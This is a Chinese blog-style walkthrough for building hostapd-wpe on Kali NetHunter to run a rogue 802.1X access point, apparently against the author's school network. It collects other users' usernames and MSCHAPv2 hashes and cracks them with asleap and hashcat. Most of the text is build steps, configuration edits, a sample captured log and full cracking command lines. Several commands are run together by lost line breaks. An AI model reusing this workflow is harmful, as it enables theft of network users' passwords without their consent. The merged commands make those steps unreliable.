笔者学校的无线网络采用1x认证方式,所以你懂的。之前参考GitHub上的一个项目在Kali2.0上部署成功,但是在手机端的情况比较不同,猜测是因为架构有一定区别所导致的,而且该网页上的Hostapd版本比较低,遂继续查找,找到了aircrack-ng的GitHub的某一个页面上展示了Hostapd-wpe的用法(详情点击阅读原文查看)
页面上写的比较详细,但是实践中笔者还是踩了不少坑,下面开始:(注意:本文在Kali 2.0及以上的版本中应该也适用!但是本人没有测试,还请测试通过的朋友留个言)
pkg-confi libssl 1.0 libnl3 (and genl) sqlite3
apt-get install libssl1.0-dev libnl-genl-3-dev libnl-3-dev pkg-config libsqlite3-dev
由于手机上敲指令过于蛋疼,笔者自己ssh到了手机上,在Kali的应用中可以直接打开SSH服务。
用ftp或者wget之类的将patch文件下载到手机上,这里笔者的路径是 ~/1x/ ,执行:
注:补丁文件(点击阅读原文查看链接)
wget http://hostap.epitest.fi/releases/hostapd-2.6.tar.gz
tar -zxf hostapd-2.6.tar.gz
cd hostapd-2.6
patch -p1 < ../hostapd-wpe.patchcd hostapd
makemake installmake wpe
cd /etc/hostapd-wpe/certs ./bootstrap make install
这里会出现关于gendh命令未找到的错误,原因是openssl将gendh已经换成了dhparam,在该目录下的Makefile中将gendh替换为dhparam即可。
请注意在Nethunter中已经预先安装了hostapd,但是那个版本的hostapd是不支持1x的。所以请切换到我们部署的hostapd目录下,运行:
./hostapd ./hostapd-wpe.conf
这里的配置文件需要修改,需要修改的地方有:
interface=wlan1ssid=YOUR_SSIDdriver=nl80211hw_mode=g#fragm_threshold=-1#rts_threshold=-1# 以上两行需要添加注释
之后再运行,即可成功。日志的数据为该目录下的hostapd-wpe.log文件,其记载了用户的用户名和MSCHAPv2认证hash值。
由于采用MSCHAPv2认证,所以密码并不会明文显示。主要有两种方法,其一是直接用系统中的工具asleep进行破解,举个栗子:
采集到的日志样例:
username: jdslfkjschallenge: bc:87:6c:48:37:d3:92:6eresponse: 2d:00:61:59:56:06:02:dd:35:4a:0f:99:c8:6b:e1:fb:a3:04:ca:82:40:92:7c:f0
执行:
$ asleap -C bc:87:6c:48:37:d3:92:6e -R 2d:00:61:59:56:06:02:dd:35:4a:0f:99:c8:6b:e1:fb:a3:04:ca:82:40:92:7c:f0 -W wordlist asleap 2.2 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com> hash bytes: b1ca NT hash: e614b958df9df49ec094b8730f0bb1capassword: bradtest
其中wordlist需要自己准备
另一种方法是利用hashcat进行破解,其好处是可以根据掩码实时生产字典爆破而且可以使用GPU+CPU资源进行破解,速度比较科学。
关于hashcat的获取,请去官方网站下载。
hashcat [选项] ... hash|hashfile|hccapfile [字典|掩码|路径]-m, --hash-type /哈希值类型,我们使用5500 NetNTLMv1-a, --attack-mode /攻击模式,这里使用3 暴力破解-d, --opencl-devices /使用设备,1:CPU 2:GPU 3:FPGA,DSP-o, --outfile /输出文件路径-i, --incerment /掩码破击时使用,设置掩码上下限
笔者这里使用的参数如下,在Windows机器上执行:
./hashcat64.exe -d 1 -a 3 -m 5500 -o "output path" -i --increment-min=1 --increment-max=8 -1 ?l "input filepath" ?1?1?1?1?1?1?1?1
其中,-1 ?l 代表定义1号掩码的格式为所有小写字母,参考掩码表:
? | Charset ===+========= l | abcdefghijklmnopqrstuvwxyz u | ABCDEFGHIJKLMNOPQRSTUVWXYZ d | 0123456789 s | !"#$%&'()*+,-./:;=?@[\]^_`{|}~ a | ?l?u?d?s b | 0x00 - 0xff
将之前得到的输出结果按照 username::::response:challenge 的格式存储在文本文档中,注意去掉hash值中的冒号。运行hashcat
为了方便起见,可以将其作为用户定义脚本存储在nethunter的custom command中:
运行截图: